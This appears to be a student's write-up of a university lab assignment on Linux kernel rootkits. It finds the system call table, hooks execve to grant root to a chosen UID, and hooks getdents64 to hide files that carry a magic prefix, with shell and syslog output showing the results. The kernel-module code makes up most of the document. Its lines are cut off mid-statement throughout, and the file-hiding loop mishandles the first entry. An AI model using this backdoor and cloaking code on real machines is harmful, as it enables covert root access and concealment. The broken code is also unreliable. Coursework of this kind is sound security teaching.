A2: Rootkits

▼ Part A - Setup (7 marks)

▼ **1 Mark** Find the address of the `sys_call_table` symbol inspecting `/proc/kallsyms`.

- Using `grep sys_call_table /proc/kallsyms` we get: `ffffffff8ec013c0 R sys_call_table`

```
ffffffff8ec002a0 R x32_sys_call_table
ffffffff8ec013c0 R sys_call_table
ffffffff8ec02400 R ia32_sys_call_table
```

▼ **0.5 Marks** Edit the `rootkit.c` file to provide the right symbol as an argument to `kallsyms_lookup_name()` in the `get_syscall_table_bf()` function. It should the same as the symbol you found in Q3.

- Using `nano rootkit.c`:

```
unsigned long * get_syscall_table_bf(void){
  unsigned long *syscall_table;
  syscall_table = (unsigned long*)kallsyms_lookup_nam
e("sys_call_table");
  return syscall_table;
}
```

▼ **0.5 Marks** Confirm you can build the rootkit framework by running `make`. You can safely ignore the warning about *defined but not used* variables, as you will be fixing that as you complete the assignment.

- Ignoring the undefined errors, we get:

```
make[1]: Entering directory '/usr/src/linux-headers-
5.4.0-171-generic'
  CC [M]  /home/student/a2/rootkit.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/student/a2/rootkit.mod.o
  LD [M]  /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.
4.0-171-generic'
```

▼ **0.5 Marks** Confirm you can insert the rootkit module by running `./insert.sh` as root. Ensure it was inserted by running `lsmod` and by checking the syslog.

- After running `insert.sh`, we can see `rootkit` loaded with `lsmod | grep rootkit` and `tail /var/log/syslog`

```
lsmod | grep rootkit
Module                  Size  Used by
rootkit                16384  0

tail /var/log/syslog
[ 4212.872464] rootkit: loading out-of-tree module ta
ints kernel.
[ 4212.872518] rootkit: module verification failed: s
ignature and/or required key missing - tainting kerne
l
[ 4212.873166] Rootkit module initializing.
[ 4212.882256] Rootkit module is loaded!
```

▼ **0.5 Marks** Confirm you can remove the rootkit module by running `./eject.sh` as root. Ensure it was ejected by running `lsmod` and by checking the syslog.

- Using the same commands as above, the loaded modules don't show rootkit, and the syslog shows:

```
[ 4212.872464] rootkit: loading out-of-tree module ta
ints kernel.
```

```
[ 4212.872518] rootkit: module verification failed: s
ignature and/or required key missing - tainting kerne
l
[ 4212.873166] Rootkit module initializing.
[ 4212.882256] Rootkit module is loaded!
[ 4721.126337] Rootkit module is unloaded!
[ 4721.126339] Rootkit module cleanup copmlete.
```

▼ **2 Marks** Finish the rootkit code so that the example `open()` hook works. Look for the **TODO** markers. Show a snippet of the syslog output it generates once loaded.

- After adding the protect and unprotect memory function calls then uncommenting, we get:

```
[ 4212.873166] Rootkit module initializing.
[ 4212.882256] Rootkit module is loaded!
[ 4721.126337] Rootkit module is unloaded!
[ 4721.126339] Rootkit module cleanup copmlete.
[14857.303970] Rootkit module initializing.
[14857.313910] Rootkit module is loaded!
[15332.764450] Rootkit module is unloaded!
[15332.764451] Rootkit module cleanup copmlete.
[15336.035298] Rootkit module initializing.
[15336.045232] Rootkit module is loaded!
```

▼ **2 Marks** Choose 2 principles from Chapter 1.7 of the course textbook and explain how they can help mitigate rookits. The way in which the principle helps could be with mitigating rootkit effectiveness or delivery. Please clearly state any assumptions you make about type of rootkit or delivery if necessary.

1. P1 Simplicity-And-Necessity
    - This would help limit the number of parts that can be attacked and eliminate non-essential functionality.
2. P6 Least-Privilege
    - This would only allow users to have limited privileges such that they wouldn't be able to directly modify kernel-level parts

▼ Part B - Backdoor (15 Marks)

▼ **5 Marks** Write a new hook for the `execve` syscall using the framework code from Part A.

`rootkit.c`

- Below are all the code changes I introduced to `rootkit.c` in question 5.1:

```
#include <linux/cred.h>
#include <linux/uaccess.h>

static t_syscall original_execve;

static int root_uid;
module_param(root_uid, int, 0);
MODULE_PARM_DESC(root_uid, "UID used for root");

asmlinkage int new_execve(const struct pt_regs* regs)
  long ret;
  char *filename;

  filename = kmalloc(4096, GFP_KERNEL);

  // copy file name from user space
  if (strncpy_from_user(filename, (char*) regs->di, 4
    kfree(filename);
    return 0;
  }

  // print file name and EUID
  printk(KERN_INFO "Executing %s\n", filename);
  printk(KERN_INFO "Effective UID: %d\n", current_eui

  // if EUID matches root UID
  if (current_euid().val == root_uid) {
    struct cred *new_creds;
    new_creds = prepare_kernel_cred(NULL);
```

```
    if (new_creds != NULL) {
      // set creds to root
      new_creds->uid.val = 0;
      new_creds->gid.val = 0;
      new_creds->euid.val = 0;
      new_creds->egid.val = 0;

      printk(KERN_INFO "Privileges escalated to root
      commit_creds(new_creds);
    }
  }

  kfree(filename);

  ret = original_execve(regs);
  return ret;
}

original_execve = (t_syscall)__sys_call_table[__NR_ex

__sys_call_table[__NR_execve] = (unsigned long) new_e
```

Output Log:

```
Oct 13 17:42:52 COMP4108-a2 kernel: [  836.540717] Execu
Oct 13 17:42:52 COMP4108-a2 kernel: [  836.540720] Effec
Oct 13 17:43:03 COMP4108-a2 kernel: [  847.012309] Execu
Oct 13 17:43:03 COMP4108-a2 kernel: [  847.012312] Effec
Oct 13 17:43:07 COMP4108-a2 kernel: [  851.137531] Execu
Oct 13 17:43:07 COMP4108-a2 kernel: [  851.137535] Effec
Oct 13 17:43:07 COMP4108-a2 kernel: [  851.148535] Execu
Oct 13 17:43:07 COMP4108-a2 kernel: [  851.148536] Effec
Oct 13 17:43:07 COMP4108-a2 kernel: [  851.148537] Privi
```

tail /var/log/syslog

▼ **10 Marks** Modify your hook code so that when the effective UID of the user executing an executable is equal to the value of

the `root_uid` parameter, they are given uid/euid 0 (i.e. root privs).

- Using the same code in question 5.1, we update the `insert.sh` file to use our current EUID

`insert.sh`

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=1001
```

```
student@COMP4108-a2:~$ whoami
student
student@COMP4108-a2:~$ whoami
root
```

▼ Part C - File Cloaking (25 Marks)

▼ **10 Marks** Write a hook for the `getdents64` system call (man page here). Once again this will require finding the `__NR_*` define for the syscall number.

`rootkit.c`

```
#ifndef __NR_getdents64
#define __NR_getdents64 217

static t_syscall original_getdents64;

asmlinkage long new_getdents64(const struct pt_regs* reg
  long ret;
  struct linux_dirent *dirp, *cur_dirp;
  unsigned long offset = 0;

  // get directories
  ret = original_getdents64(regs);

  // if they're empty return
```

```
  if (ret <= 0) {
    printk(KERN_INFO "no directory entries");
    return ret;
  }

  // allocate memory
  dirp = kmalloc(ret, GFP_KERNEL);
  if (!dirp) {
    printk(KERN_INFO "no space for directory entries");
    return ret;
  }

  if (copy_from_user(dirp, (void*) regs->si, ret)) {
    printk(KERN_INFO "could not copy directory entry fro
    kfree(dirp);
    return ret;
  }

  printk(KERN_INFO "getdents64() hook invoked.\n");
  // iterate through dict entries
  while (offset < ret) {
    cur_dirp = (struct linux_dirent *) ((char *) dirp +

    // print entry
    printk(KERN_INFO "entry:  %s\n", cur_dirp->d_name);

    offset += cur_dirp->d_reclen;

    if (cur_dirp->d_reclen <= 0) {
      printk(KERN_INFO ":(: %d\n", cur_dirp->d_reclen);
      break;
    }
  }

  kfree(dirp);
  return ret;
}
```

```
original_getdents64 = (t_syscall)__sys_call_table[__NR_g

__sys_call_table[__NR_getdents64] = (unsigned long) new_

__sys_call_table[__NR_getdents64] = (unsigned long) orig
```

After inserting the rootkit module and doing `ls` from terminal 1, we get the following output with `tail -f /var/log/syslog` from terminal 2:

```
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479197] getdents64() hook invoked.
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479198] entry: rootkit.o
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479199] entry: .rootkit.mod.o.cmd
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479200] entry:  ..
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479201] entry: insert.sh
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479202] entry: rootkit.c
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479202] entry: rootkit.mod.c
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479203] entry: rootkit.ko
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479204] entry: .rootkit.ko.cmd
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479205] entry: Makefile
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479206] entry: modules.order
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479206] entry: rootkit.mod.o
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479207] entry: .rootkit.o.cmd
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479208] entry: eject.sh
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479209] entry:  .
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479210] entry: .rootkit.mod.cmd
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479210] entry: Module.symvers
Oct 14 19:37:32 COMP4108-a2 kernel: [88948.479211] entry: rootkit.mod
```

▼ **15 Marks** Modify your hook such that the `struct linux_dirent*` buffer you return to the calling process does not include any dirents for filenames that start with `magic_prefix`.

- Following the instructions in the outline.

`rootkit.c`

```
static char* magic_prefix;
module_param(magic_prefix, charp, 0);
MODULE_PARM_DESC(magic_prefix, "Hide prefix from output!

asmlinkage long new_getdents64(const struct pt_regs* reg
  long ret;
  struct linux_dirent *dirp, *cur_dirp, *prev_dirp = NUL
  unsigned long offset = 0;

  // get directories
```

```
  ret = original_getdents64(regs);

  // if they're empty return
  if (ret <= 0) {
    printk(KERN_INFO "no directory entries");
    return ret;
  }

  // allocate memory
  dirp = kmalloc(ret, GFP_KERNEL);
  if (!dirp) {
    printk(KERN_INFO "no space for directory entries");
    return ret;
  }

  if (copy_from_user(dirp, (void*) regs->si, ret)) {
    printk(KERN_INFO "could not copy directory entry fro
    kfree(dirp);
    return ret;
  }

  printk(KERN_INFO "getdents64() hook invoked.\n");
  // iterate through dict entries
  while (offset < ret) {
    cur_dirp = (struct linux_dirent *) ((char *) dirp +

    printk(KERN_INFO "entry:  %s\n", cur_dirp->d_name);

    // if file starts with magic_prefix...
    if (strncmp(cur_dirp->d_name, magic_prefix, strlen(m
      printk(KERN_INFO "Hiding file: %s\n", cur_dirp->d_
      if (prev_dirp) {
        prev_dirp->d_reclen += cur_dirp->d_reclen;
      } else {
        ret -= cur_dirp->d_reclen;
      }
    } else {
      // next entry
```

```
      prev_dirp = cur_dirp;
    }

    offset += cur_dirp->d_reclen;
  }

  if (copy_to_user((void*) regs->si, dirp, ret)) {
    kfree(dirp);
    return ret;
  }

  kfree(dirp);
  return ret;
}
```

insert.sh

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX magic_prefix="$sys$"
```